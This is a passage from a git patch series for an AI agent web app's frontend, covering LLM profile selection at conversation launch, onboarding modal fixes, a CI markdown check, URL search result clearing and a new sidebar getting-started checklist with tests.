active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); }); diff --git a/src/hooks/mutation/use-create-conversation.ts b/src/hooks/mutation/use-create-conversation.ts index 1cda1aee24d4..71d38be3579a 100644 --- a/src/hooks/mutation/use-create-conversation.ts +++ b/src/hooks/mutation/use-create-conversation.ts @@ -130,6 +130,10 @@ export const useCreateConversation = () => { // (#1571 review). const isCloud = backend.kind === "cloud"; let effectiveAgentProfileId = requestedAgentProfileId; + // The account-wide active LLM profile from the launch-path fetch below + // (null when that fetch didn't run or failed). Fresher than the + // `useLlmProfiles()` render snapshot, which a fast send can outrun. + let fetchedActiveLlmProfile: string | null = null; if ( !isCloud && resolvedAgentProfile?.name === WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME && @@ -174,6 +178,7 @@ export const useCreateConversation = () => { llmProfileExists = llm.profiles.some( (profile) => profile.name === resolvedAgentProfile.llm_profile_ref, ); + fetchedActiveLlmProfile = llm.active_profile ?? null; } catch { // List unavailable → can't validate → fall back to agent_settings. } @@ -185,6 +190,27 @@ export const useCreateConversation = () => { "launching from agent_settings instead.", ); effectiveAgentProfileId = undefined; + } else if ( + !isCloud && + !agentProfileId && + fetchedActiveLlmProfile && + fetchedActiveLlmProfile !== resolvedAgentProfile.llm_profile_ref + ) { + // The home LLM pill shows — and its dropdown activates — the + // account-wide active LLM profile, never the pinned ref + // (useChatInputLlmProfileState), so when the two differ the launch + // must run the selection or the UI advertises a model the + // conversation won't use (#16539). Launch via agent_settings, which + // the dropdown's profile activation syncs to the selection. Scoped + // to the implicit active-profile launch: an explicit `agentProfileId` + // (the in-conversation profile picker) is a deliberate profile pick, + // so its pinned ref stays authoritative. Local-only like the + // downgrades above — cloud has no agent_settings payload to fall + // back to. Trade-off: the named profile's non-LLM config doesn't + // apply to this launch; the start request has no per-launch LLM + // override that could preserve it (AgentLaunchAdditions carries only + // a system-message suffix). + effectiveAgentProfileId = undefined; } } @@ -258,16 +284,17 @@ export const useCreateConversation = () => { // A launch from a named OpenHands profile runs that profile's // `llm_profile_ref`, which can differ from the standalone active LLM // profile — stamp the ref so the switcher pill names the exact profile - // the conversation runs (#1082). The agent_settings path (the `default` - // baseline or a dangling ref, where effectiveAgentProfileId is cleared) - // runs the active LLM, so it keeps `active_profile`. ACP profiles carry - // no LLM profile, so they fall through to the active-profile stamp - // (unused by the ACP model chip). + // the conversation runs (#1082). The agent_settings paths (the `default` + // baseline, a dangling ref, or a dropdown override (#16539) — where + // effectiveAgentProfileId is cleared) run the active LLM, so they stamp + // the active profile, preferring the launch-path fetch over the hook's + // render snapshot. ACP profiles carry no LLM profile, so they fall + // through to the active-profile stamp (unused by the ACP model chip). const activeProfile = effectiveAgentProfileId && resolvedAgentProfile?.agent_kind === "openhands" ? resolvedAgentProfile.llm_profile_ref - : (llmProfiles?.active_profile ?? null); + : (fetchedActiveLlmProfile ?? llmProfiles?.active_profile ?? null); if (localConversationId && (activeProfile || attachedPlugins.length)) { const prev = getStoredConversationMetadata(localConversationId); setStoredConversationMetadata(localConversationId, { From b25f9b3969f924f37440fee908ff35309ec6eea2 Mon Sep 17 00:00:00 2001 From: MarMar Labs Date: Tue, 18 Aug 2026 07:50:42 -0500 Subject: [PATCH 03/32] docs: add DefenseClaw and testing matrix to the docs index (#16408) --- docs/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/README.md b/docs/README.md index c8edd94f6d84..cf410ec68c4c 100644 --- a/docs/README.md +++ b/docs/README.md @@ -6,3 +6,5 @@ This directory contains the project documentation. - [Using ACP agents](./ACP_AGENTS.md): onboard and configure external agents (Claude Code, Codex, Gemini CLI). - [Development guide](./DEVELOPMENT.md) - [Self-hosting guide](./SELF_HOSTING.md) +- [Integrating DefenseClaw](./DefenseClaw.md): run the DefenseClaw security governance layer alongside the Agent Server. +- [Testing matrix](./TESTING_MATRIX.md): release smoke-test coverage across installers, operating systems, and agents. From 1916c9046c4e6a1e081be1ba06e278d182a40133 Mon Sep 17 00:00:00 2001 From: FraterCCCLXIII Date: Tue, 18 Aug 2026 10:50:29 -0700 Subject: [PATCH 04/32] fix: restore onboarding modal bottom padding and stop leftover scrollbars (#16684) Co-authored-by: Cursor Co-authored-by: hieptl --- __tests__/components/onboarding/onboarding-modal.test.tsx | 6 ++++++ src/components/features/onboarding/onboarding-modal.tsx | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/__tests__/components/onboarding/onboarding-modal.test.tsx b/__tests__/components/onboarding/onboarding-modal.test.tsx index 260805e7d60d..007d1aad3f6c 100644 --- a/__tests__/components/onboarding/onboarding-modal.test.tsx +++ b/__tests__/components/onboarding/onboarding-modal.test.tsx @@ -735,6 +735,12 @@ describe("OnboardingModal", () => { const scrollArea = screen.getByTestId("onboarding-scroll-area"); const rail = screen.getByTestId("onboarding-slide-rail"); expect(scrollArea.contains(rail)).toBe(true); + // Bottom padding matches the header (`pt-7`) so the last control is + // not flush against the modal edge. The region must size to its + // content (`min-h-0` + overflow, no `flex-1`) so a content-fitting + // step does not paint a leftover scrollbar. + expect(scrollArea).toHaveClass("pb-7"); + expect(scrollArea).not.toHaveClass("flex-1"); }); it("keeps the LLM step heading and Back/Next outside the scrollable settings body", async () => { diff --git a/src/components/features/onboarding/onboarding-modal.tsx b/src/components/features/onboarding/onboarding-modal.tsx index 545e1dd58311..acb60a71017b 100644 --- a/src/components/features/onboarding/onboarding-modal.tsx +++ b/src/components/features/onboarding/onboarding-modal.tsx @@ -314,7 +314,7 @@ export function OnboardingModal({
Date: Wed, 19 Aug 2026 00:31:20 -0500 Subject: [PATCH 05/32] fix(ci): stop treating markdown as frontend evidence-bearing code (#16693) Co-authored-by: vasco --- .github/scripts/check_pr_description.py | 6 +++++- .github/scripts/tests/test_pr_description.py | 22 ++++++++++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/.github/scripts/check_pr_description.py b/.github/scripts/check_pr_description.py index 93f91ff38f72..185eef34e25b 100644 --- a/.github/scripts/check_pr_description.py +++ b/.github/scripts/check_pr_description.py @@ -57,6 +57,8 @@ ".sass", ".less", ) +# Docs carry no visual state, so a screenshot can't evidence a change to them. +DOCUMENTATION_FILE_EXTENSIONS: tuple[str, ...] = (".md", ".mdx") FRONTEND_CONFIG_GLOBS: tuple[str, ...] = ( "tailwind.config.*", "vite.config.*", @@ -155,9 +157,11 @@ def extract_human_note(body: str) -> str: def is_frontend_file(path: str) -> bool: """Return True if a changed file should be treated as frontend code.""" normalized = path.lstrip("./") + lower = normalized.lower() + if lower.endswith(DOCUMENTATION_FILE_EXTENSIONS): + return False if any(normalized.startswith(prefix) for prefix in FRONTEND_PATH_PREFIXES): return True - lower = normalized.lower() if any(lower.endswith(ext) for ext in FRONTEND_FILE_EXTENSIONS): return True name = normalized.split("/")[-1] diff --git a/.github/scripts/tests/test_pr_description.py b/.github/scripts/tests/test_pr_description.py index dcb4cda38ee1..8fe26393aff6 100644 --- a/.github/scripts/tests/test_pr_description.py +++ b/.github/scripts/tests/test_pr_description.py @@ -8,6 +8,8 @@ sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) from check_pr_description import ( + is_frontend_file, + touches_frontend, extract_linked_issue_numbers, extract_pr_type, validate_linked_issue_ready, @@ -222,3 +224,23 @@ def test_bug_fix_with_video_link_no_errors(): """ errors = validate_bug_fix_evidence(body) assert errors == [] + + +def test_markdown_under_frontend_prefix_is_not_frontend(): + assert not is_frontend_file("__tests__/router.md") + assert not is_frontend_file("src/notes.md") + assert not is_frontend_file("public/README.mdx") + +def test_markdown_outside_frontend_prefix_still_not_frontend(): + assert not is_frontend_file("docs/README.md") + +def test_frontend_code_under_prefix_still_frontend(): + assert is_frontend_file("src/app.tsx") + assert is_frontend_file("__tests__/routes/launch.test.tsx") + assert is_frontend_file("src/styles/main.css") + +def test_docs_only_change_does_not_require_frontend_evidence(): + assert not touches_frontend(["__tests__/router.md", "docs/README.md"]) + +def test_mixed_change_still_requires_frontend_evidence(): + assert touches_frontend(["__tests__/router.md", "src/app.tsx"]) From 49812ee20d5f0c2a3cc3faa416e798fd89c7e5d0 Mon Sep 17 00:00:00 2001 From: Nicholas-Xiong <2482929840@qq.com> Date: Wed, 19 Aug 2026 13:38:31 +0800 Subject: [PATCH 06/32] fix: clear stale urlSearchResults for non-matching HTTPS URLs in useUrlSearch (#16700) Co-authored-by: vasco --- .../features/home/use-url-search.test.tsx | 40 +++++++++++++++++++ .../home/git-repo-dropdown/use-url-search.tsx | 2 + 2 files changed, 42 insertions(+) diff --git a/__tests__/components/features/home/use-url-search.test.tsx b/__tests__/components/features/home/use-url-search.test.tsx index 70489f5d9513..17de80a730e6 100644 --- a/__tests__/components/features/home/use-url-search.test.tsx +++ b/__tests__/components/features/home/use-url-search.test.tsx @@ -238,4 +238,44 @@ describe("useUrlSearch", () => { }); }); }); + it("should clear prior results when an HTTPS URL does not match repo pattern", async () => { + mockSearchGitRepositories.mockResolvedValue({ + items: [ + { + id: "1", + full_name: "owner/repo", + git_provider: "github", + is_public: true, + }, + ], + next_page_id: null, + }); + + const { result, rerender } = renderHook( + ({ inputValue, provider }) => useUrlSearch(inputValue, provider), + { + initialProps: { + inputValue: "https://github.com/owner/repo", + provider: "github" as const, + }, + }, + ); + + await waitFor(() => { + expect(result.current.urlSearchResults).toHaveLength(1); + }); + + rerender({ + inputValue: "https://example.com/", + provider: "github" as const, + }); + + await waitFor(() => { + expect(result.current.urlSearchResults).toEqual([]); + }); + + // Only the initial search for owner/repo should have triggered a call; + // the non-matching HTTPS URL must not issue a second request. + expect(mockSearchGitRepositories).toHaveBeenCalledTimes(1); + }); }); diff --git a/src/components/features/home/git-repo-dropdown/use-url-search.tsx b/src/components/features/home/git-repo-dropdown/use-url-search.tsx index c6d8181fa76b..d375cad6a79e 100644 --- a/src/components/features/home/git-repo-dropdown/use-url-search.tsx +++ b/src/components/features/home/git-repo-dropdown/use-url-search.tsx @@ -38,6 +38,8 @@ export function useUrlSearch( } finally { setIsUrlSearchLoading(false); } + } else { + setUrlSearchResults([]); } } else { setUrlSearchResults([]); From 78068152d0d3b1050cc755d9311182841f8008c8 Mon Sep 17 00:00:00 2001 From: FraterCCCLXIII Date: Wed, 19 Aug 2026 00:22:41 -0700 Subject: [PATCH 07/32] feat(sidebar): add getting started checklist with settings toggle (#16182) Co-authored-by: hieptl --- ...onboarding-checklist-item-preview.test.tsx | 90 ++++ ...-onboarding-checklist-llm-complete.test.ts | 82 +++ .../sidebar-onboarding-checklist.test.tsx | 288 +++++++++++ .../features/sidebar/sidebar.test.tsx | 48 +- .../onboarding/onboarding-modal.test.tsx | 56 ++- .../getting-started-checklist-switch.test.tsx | 48 ++ .../features/onboarding/onboarding-modal.tsx | 27 + .../getting-started-checklist-switch.tsx | 24 + ...sidebar-onboarding-checklist-item-icon.tsx | 123 +++++ ...ebar-onboarding-checklist-item-preview.tsx | 87 ++++ ...debar-onboarding-checklist-llm-complete.ts | 50 ++ .../sidebar-onboarding-checklist-storage.ts | 117 +++++ .../sidebar-onboarding-checklist.constants.ts | 121 +++++ .../sidebar/sidebar-onboarding-checklist.tsx | 208 ++++++++ .../features/sidebar/sidebar-rail-body.tsx | 24 +- ...-sidebar-onboarding-checklist-dismissed.ts | 13 + .../use-sidebar-onboarding-checklist.ts | 159 ++++++ src/i18n/translation.json | 476 ++++++++++++++++++ src/routes/app-settings.tsx | 3 + 19 files changed, 2023 insertions(+), 21 deletions(-) create mode 100644 __tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx create mode 100644 __tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts create mode 100644 __tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx create mode 100644 __tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx create mode 100644 src/components/features/settings/app-settings/getting-started-checklist-switch.tsx create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist-item-icon.tsx create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist-item-preview.tsx create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.ts create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist-storage.ts create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist.constants.ts create mode 100644 src/components/features/sidebar/sidebar-onboarding-checklist.tsx create mode 100644 src/components/features/sidebar/use-sidebar-onboarding-checklist-dismissed.ts create mode 100644 src/components/features/sidebar/use-sidebar-onboarding-checklist.ts diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx new file mode 100644 index 000000000000..2048d3cacdcc --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx @@ -0,0 +1,90 @@ +import { describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { SidebarOnboardingChecklistItemIcon } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-icon"; +import { SidebarOnboardingChecklistItemPreview } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-preview"; +import { + NavigationProvider, + type NavigationContextValue, +} from "#/context/navigation-context"; +import { I18nKey } from "#/i18n/declaration"; + +const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate: () => undefined, +}; + +function renderPreview(id: Parameters[0]["id"]) { + return render( + + + , + ); +} + +describe("SidebarOnboardingChecklistItemIcon", () => { + it.each([ + ["configure-llm", "sidebar-onboarding-checklist-icon-configure-llm"], + ["start-conversation", "sidebar-onboarding-checklist-icon-start-conversation"], + ["schedule-task", "sidebar-onboarding-checklist-icon-schedule-task"], + ["customize-agent", "sidebar-onboarding-checklist-icon-customize-agent"], + ["connect-mcp", "sidebar-onboarding-checklist-icon-connect-mcp"], + ["join-slack", "sidebar-onboarding-checklist-icon-join-slack"], + ] as const)("renders an icon for %s", (id, testId) => { + render(); + + expect(screen.getByTestId(testId)).toBeInTheDocument(); + }); +}); + +describe("SidebarOnboardingChecklistItemPreview", () => { + it("renders title, icon, action button, and docs link", () => { + renderPreview("configure-llm"); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-configure-llm"), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM_DESC), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-configure-llm"), + ).toHaveAttribute("href", "/settings/llm"); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-docs-configure-llm"), + ).toHaveAttribute( + "href", + "https://docs.openhands.dev/openhands/usage/settings/llm-settings#llm-profiles", + ); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_DOCS_LINK), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-icon-configure-llm"), + ).toBeInTheDocument(); + }); + + it("renders the Slack preview as an external invite action", () => { + renderPreview("join-slack"); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-join-slack"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"), + ).toHaveAttribute("href", "https://openhands.dev/joinslack"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"), + ).toHaveAttribute("target", "_blank"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-docs-join-slack"), + ).toHaveAttribute("href", "https://docs.openhands.dev/overview/community"); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts new file mode 100644 index 000000000000..f2a7ba2a183b --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts @@ -0,0 +1,82 @@ +import { describe, expect, it } from "vitest"; +import { DEFAULT_SETTINGS } from "#/services/settings"; +import { isConfigureLlmChecklistItemComplete } from "#/components/features/sidebar/sidebar-onboarding-checklist-llm-complete"; + +describe("isConfigureLlmChecklistItemComplete", () => { + it("returns false while LLM readiness is still indeterminate", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + true, + undefined, + true, + ), + ).toBe(false); + }); + + it("returns true when useLlmConfigured reports configured", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + true, + false, + undefined, + false, + ), + ).toBe(true); + }); + + it("returns true when any saved LLM profile has an API key", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + true, + { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + false, + ), + ).toBe(true); + }); + + it("returns true when settings already have a model and API key", () => { + expect( + isConfigureLlmChecklistItemComplete( + { + ...DEFAULT_SETTINGS, + llm_api_key_set: true, + agent_settings: { + ...(DEFAULT_SETTINGS.agent_settings ?? {}), + llm: { model: "openai/gpt-5.5" }, + }, + }, + false, + true, + undefined, + true, + ), + ).toBe(true); + }); + + it("returns false when no model or auth is present", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + false, + { active_profile: null, profiles: [] }, + false, + ), + ).toBe(false); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx new file mode 100644 index 000000000000..1fd438bedb1a --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx @@ -0,0 +1,288 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion"; +import { SidebarOnboardingChecklist } from "#/components/features/sidebar/sidebar-onboarding-checklist"; +import { + OPENHANDS_SLACK_COMMUNITY_URL, + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, +} from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; +import { + readSidebarOnboardingChecklistMinimized, + readSidebarOnboardingChecklistSlackJoined, +} from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; +import { + NavigationProvider, + type NavigationContextValue, +} from "#/context/navigation-context"; +import { I18nKey } from "#/i18n/declaration"; + +const mockUsePaginatedConversations = vi.fn(); +const mockUseAutomationHealth = vi.fn(); +const mockUseAutomations = vi.fn(); +const mockUseSettings = vi.fn(); +const mockUseLlmConfigured = vi.fn(); +const mockUseLlmProfiles = vi.fn(); + +vi.mock("#/hooks/query/use-paginated-conversations", () => ({ + usePaginatedConversations: () => mockUsePaginatedConversations(), +})); + +vi.mock("#/hooks/query/use-automation-health", () => ({ + useAutomationHealth: () => mockUseAutomationHealth(), +})); + +vi.mock("#/hooks/query/use-automations", () => ({ + useAutomations: () => mockUseAutomations(), +})); + +vi.mock("#/hooks/query/use-settings", () => ({ + useSettings: () => mockUseSettings(), +})); + +vi.mock("#/hooks/use-llm-configured", () => ({ + useLlmConfigured: () => mockUseLlmConfigured(), +})); + +vi.mock("#/hooks/query/use-llm-profiles", () => ({ + useLlmProfiles: () => mockUseLlmProfiles(), +})); + +function renderChecklist() { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate: vi.fn(), + }; + + return render( + + + + + , + ); +} + +describe("SidebarOnboardingChecklist", () => { + beforeEach(() => { + window.localStorage.clear(); + window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); + window.localStorage.removeItem(SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY); + window.localStorage.removeItem( + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + ); + window.localStorage.removeItem( + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, + ); + + mockUsePaginatedConversations.mockReturnValue({ + data: { pages: [{ items: [{ id: "conv-1" }] }] }, + }); + mockUseAutomationHealth.mockReturnValue({ + data: { status: "ok" }, + }); + mockUseAutomations.mockReturnValue({ + data: { total: 0, automations: [] }, + }); + mockUseSettings.mockReturnValue({ + data: { + agent_settings: { + mcp_config: { mcpServers: {} }, + }, + }, + }); + mockUseLlmConfigured.mockReturnValue({ + isConfigured: false, + isLoading: false, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { active_profile: null, profiles: [] }, + isLoading: false, + }); + }); + + it("renders setup items including LLM keys, agent profiles, schedule a task, and Slack", () => { + renderChecklist(); + + expect( + screen.getByTestId("sidebar-onboarding-checklist"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-configure-llm"), + ).toHaveAttribute("href", "/settings/llm"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-connect-mcp"), + ).toHaveAttribute("href", "/mcp"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toHaveAttribute("href", "/automations"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-customize-agent"), + ).toHaveAttribute("href", "/settings/agents"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"), + ).toHaveAttribute("href", OPENHANDS_SLACK_COMMUNITY_URL); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"), + ).toHaveAttribute("target", "_blank"); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).toBeInTheDocument(); + }); + + it("marks Join Slack complete after the invite link is clicked", async () => { + const user = userEvent.setup(); + renderChecklist(); + + const slackItem = screen.getByTestId( + "sidebar-onboarding-checklist-item-join-slack", + ); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).not.toHaveClass("line-through"); + + await user.click(slackItem); + + expect(readSidebarOnboardingChecklistSlackJoined()).toBe(true); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).toHaveClass("line-through"); + }); + + it("crosses out Add LLM API key when LLM is configured", () => { + mockUseLlmConfigured.mockReturnValue({ + isConfigured: true, + isLoading: false, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + isLoading: false, + }); + mockUseSettings.mockReturnValue({ + data: { + llm_api_key_set: true, + agent_settings: { + llm: { model: "openai/gpt-5.5" }, + mcp_config: { mcpServers: {} }, + }, + }, + }); + + renderChecklist(); + + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toHaveClass("line-through"); + }); + + it("crosses out Add LLM API key when a saved profile has an API key", () => { + mockUseLlmConfigured.mockReturnValue({ + isConfigured: false, + isLoading: true, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + isLoading: false, + }); + mockUseSettings.mockReturnValue({ + data: { + agent_settings: { + mcp_config: { mcpServers: {} }, + }, + }, + }); + + renderChecklist(); + + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toHaveClass("line-through"); + }); + + it("hides when the welcome onboarding flow is not complete", () => { + window.localStorage.removeItem(ONBOARDING_COMPLETED_STORAGE_KEY); + renderChecklist(); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist"), + ).not.toBeInTheDocument(); + }); + + it("minimizes and expands with the caret toggle", async () => { + const user = userEvent.setup(); + renderChecklist(); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle")); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).not.toBeInTheDocument(); + expect(readSidebarOnboardingChecklistMinimized()).toBe(true); + + await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle")); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toBeInTheDocument(); + expect(readSidebarOnboardingChecklistMinimized()).toBe(false); + }); + + it("hides when collapsed", () => { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate: vi.fn(), + }; + + render( + + + + + , + ); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist"), + ).not.toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar.test.tsx b/__tests__/components/features/sidebar/sidebar.test.tsx index 4d536cf2add4..a82a60ffa4c7 100644 --- a/__tests__/components/features/sidebar/sidebar.test.tsx +++ b/__tests__/components/features/sidebar/sidebar.test.tsx @@ -51,16 +51,21 @@ vi.mock("#/hooks/query/use-settings", () => ({ getErrorStatus: () => undefined, })); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackendContext: () => ({ - backends: [{ id: "local", name: "Local", kind: "local" }], - active: { - backend: { id: "local", name: "Local", kind: "local" }, - orgId: null, - }, - setActive: vi.fn(), - }), -})); +vi.mock("#/contexts/active-backend-context", () => { + const active = { + backend: { id: "local", name: "Local", kind: "local" }, + orgId: null, + }; + + return { + useActiveBackendContext: () => ({ + backends: [active.backend], + active, + setActive: vi.fn(), + }), + useActiveBackend: () => active, + }; +}); vi.mock("#/hooks/query/use-backends-health", () => ({ useBackendsHealth: () => ({ @@ -84,6 +89,12 @@ vi.mock("#/components/features/conversation-panel/conversation-panel", () => ({ ConversationPanel: () => null, })); +vi.mock("#/components/features/sidebar/sidebar-onboarding-checklist", () => ({ + SidebarOnboardingChecklist: () => ( +
+ ), +})); + vi.mock( "#/components/features/conversation-panel/conversation-panel-wrapper", () => ({ @@ -458,6 +469,23 @@ describe("Sidebar", () => { } }); + it("renders the Getting Started checklist above the bottom backend bar", () => { + renderSidebar("/conversations"); + + const automations = screen.getByTestId("sidebar-automations-link"); + const checklist = screen.getByTestId("sidebar-onboarding-checklist"); + const backendBar = screen.getByTestId("backend-selector"); + + expect( + automations.compareDocumentPosition(checklist) & + Node.DOCUMENT_POSITION_FOLLOWING, + ).toBeTruthy(); + expect( + checklist.compareDocumentPosition(backendBar) & + Node.DOCUMENT_POSITION_FOLLOWING, + ).toBeTruthy(); + }); + it("renders icons for every top-level nav item so they remain meaningful in the collapsed rail", () => { renderSidebar("/conversations"); diff --git a/__tests__/components/onboarding/onboarding-modal.test.tsx b/__tests__/components/onboarding/onboarding-modal.test.tsx index 007d1aad3f6c..b369919e6497 100644 --- a/__tests__/components/onboarding/onboarding-modal.test.tsx +++ b/__tests__/components/onboarding/onboarding-modal.test.tsx @@ -14,6 +14,7 @@ import { import { ActiveBackendProvider } from "#/contexts/active-backend-context"; import { OnboardingModal } from "#/components/features/onboarding/onboarding-modal"; import { ONBOARDING_DEFAULT_LLM_MODEL } from "#/components/features/onboarding/steps/setup-llm-step"; +import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; import { NavigationProvider } from "#/context/navigation-context"; import SettingsService from "#/api/settings-service/settings-service.api"; import { SecretsService } from "#/api/secrets-service"; @@ -174,7 +175,10 @@ function seedCloudBackend() { return backend; } -function renderModal(onClose = vi.fn()) { +function renderModal( + onClose = vi.fn(), + options?: { initialStep?: number }, +) { const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } }, }); @@ -188,7 +192,10 @@ function renderModal(onClose = vi.fn()) { - + , @@ -1134,4 +1141,49 @@ describe("OnboardingModal", () => { ); }); }); + + describe("Getting Started checklist skip", () => { + it("renders a centered skip checkbox below the modal on Say Hello", async () => { + renderModal(vi.fn(), { initialStep: 3 }); + + await waitFor(() => { + expect( + screen.getByTestId("onboarding-step-say-hello"), + ).toBeInTheDocument(); + }); + + const checkbox = screen.getByTestId( + "onboarding-skip-getting-started-checklist", + ); + expect(checkbox).toBeInTheDocument(); + expect(checkbox).not.toBeChecked(); + expect( + screen.getByText("ONBOARDING$SKIP_GETTING_STARTED_CHECKLIST"), + ).toBeInTheDocument(); + + const modal = screen.getByTestId("onboarding-modal"); + 